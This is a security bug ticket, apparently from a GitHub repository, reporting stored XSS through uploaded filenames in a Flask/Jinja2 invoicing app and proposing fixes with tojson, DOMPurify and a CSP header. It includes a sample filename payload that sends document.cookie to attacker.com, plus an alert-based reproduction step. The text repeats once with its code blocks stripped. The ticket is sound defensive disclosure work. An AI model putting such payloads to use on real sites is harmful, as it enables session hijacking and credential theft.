Ticket Contents (Description):
The template Website/templates/importcollabload.html directly injects a user-controlled filename into a JavaScript string literal without any escaping or sanitization. A malicious user can upload a file whose name contains a single quote and a script payload, causing an immediate XSS breakout in the browser of anyone who views the import page. Similarly, DeveloperAdoption/app/Spreadsheet/[Id]/route.js renders user-supplied spreadsheet content into an HTML context without escaping. Since this is a government billing platform where invoice files are shared across institutional users, a stored XSS attack can lead to session hijacking, credential theft, and unauthorized invoice manipulation at scale.
Goals & Mid-Point Milestone:
Implementation Details:
Current vulnerable code in Website/templates/importcollabload.html:
// VULNERABLE — user filename injected raw into JS string literal
var fname = '{{ entry["fname"] }}';
If a file is uploaded with the name '; fetch('https://attacker.com?c='+document.cookie);//, the rendered HTML becomes:
var fname = ''; fetch('https://attacker.com?c='+document.cookie);//';
This executes immediately in every victim's browser that loads the page.
Proposed fix for Jinja2 template:
// SAFE — tojson encodes the string, escaping quotes and special chars
var fname = {{ entry["fname"] | tojson }};
Proposed fix for DeveloperAdoption/app/Spreadsheet/[Id]/route.js:
import DOMPurify from 'dompurify';
// Before rendering any user-supplied content into HTML:
const safeContent = DOMPurify.sanitize(userContent);
Defense-in-depth — add CSP header in Flask main.py:
@app.after_request
def set_csp(response):
response.headers['Content-Security-Policy'] = "default-src 'self'"
return response
Tech used: Python, Jinja2, Flask, Next.js, JavaScript, DOMPurify
Product Name: Agentic Invoice Co-Pilot – Web3 Billing for Public Institutions
Organisation Name: NSUT x SEETA x AIC
Domain: Financial Inclusion
Tech Skills Needed: Python, TypeScript, Express.js, RESTful APIs
Mentor(s): @seetadev @aspiringsecurity @prithagupta
Category: Security / Bug
Setup/Installation:
cd Website
pip install -r requirements.txt
python main.py
# Upload a file named: '; alert(document.cookie);//.xlsx
# Navigate to the import collaborator load page
# Observe the alert firing in the browser
Expected Outcome:
No user-supplied string is ever interpolated raw into a JavaScript or HTML context. Filenames containing quotes, angle brackets, or script payloads are safely encoded before rendering. The tojson filter ensures the filename is always a valid, escaped JSON string in JS context. CSP headers provide an additional layer of protection preventing inline script execution even if a future injection point is missed.
Acceptance Criteria:
Mockups/Wireframes: N/A — backend and template security fix, no UI changes required
Ticket Contents (Description):
The template
Website/templates/importcollabload.htmldirectly injects a user-controlled filename into a JavaScript string literal without any escaping or sanitization. A malicious user can upload a file whose name contains a single quote and a script payload, causing an immediate XSS breakout in the browser of anyone who views the import page. Similarly,DeveloperAdoption/app/Spreadsheet/[Id]/route.jsrenders user-supplied spreadsheet content into an HTML context without escaping. Since this is a government billing platform where invoice files are shared across institutional users, a stored XSS attack can lead to session hijacking, credential theft, and unauthorized invoice manipulation at scale.Goals & Mid-Point Milestone:
{{ }}variables rendered into<script>blocks or HTML attributes{{ entry["fname"] }}injection with a safe JSON-encoded escape ({{ entry["fname"] | tojson }})DOMPurifyor framework-native escaping in the Next.js/React layer for any content rendered from user-uploaded files'; alert(1);//and assert it does not executeImplementation Details:
Current vulnerable code in
Website/templates/importcollabload.html:If a file is uploaded with the name
'; fetch('https://attacker.com?c='+document.cookie);//, the rendered HTML becomes:This executes immediately in every victim's browser that loads the page.
Proposed fix for Jinja2 template:
Proposed fix for
DeveloperAdoption/app/Spreadsheet/[Id]/route.js:Defense-in-depth — add CSP header in Flask
main.py:Tech used: Python, Jinja2, Flask, Next.js, JavaScript, DOMPurify
Product Name: Agentic Invoice Co-Pilot – Web3 Billing for Public Institutions
Organisation Name: NSUT x SEETA x AIC
Domain: Financial Inclusion
Tech Skills Needed: Python, TypeScript, Express.js, RESTful APIs
Mentor(s): @seetadev @aspiringsecurity @prithagupta
Category: Security / Bug
Setup/Installation:
Expected Outcome:
No user-supplied string is ever interpolated raw into a JavaScript or HTML context. Filenames containing quotes, angle brackets, or script payloads are safely encoded before rendering. The
tojsonfilter ensures the filename is always a valid, escaped JSON string in JS context. CSP headers provide an additional layer of protection preventing inline script execution even if a future injection point is missed.Acceptance Criteria:
| tojsonor| efor variables rendered inside<script>blocks{{ variable }}interpolation exists inside any<script>tag across the codebase'; alert(1);//does not trigger any JS execution on the import pageMockups/Wireframes: N/A — backend and template security fix, no UI changes required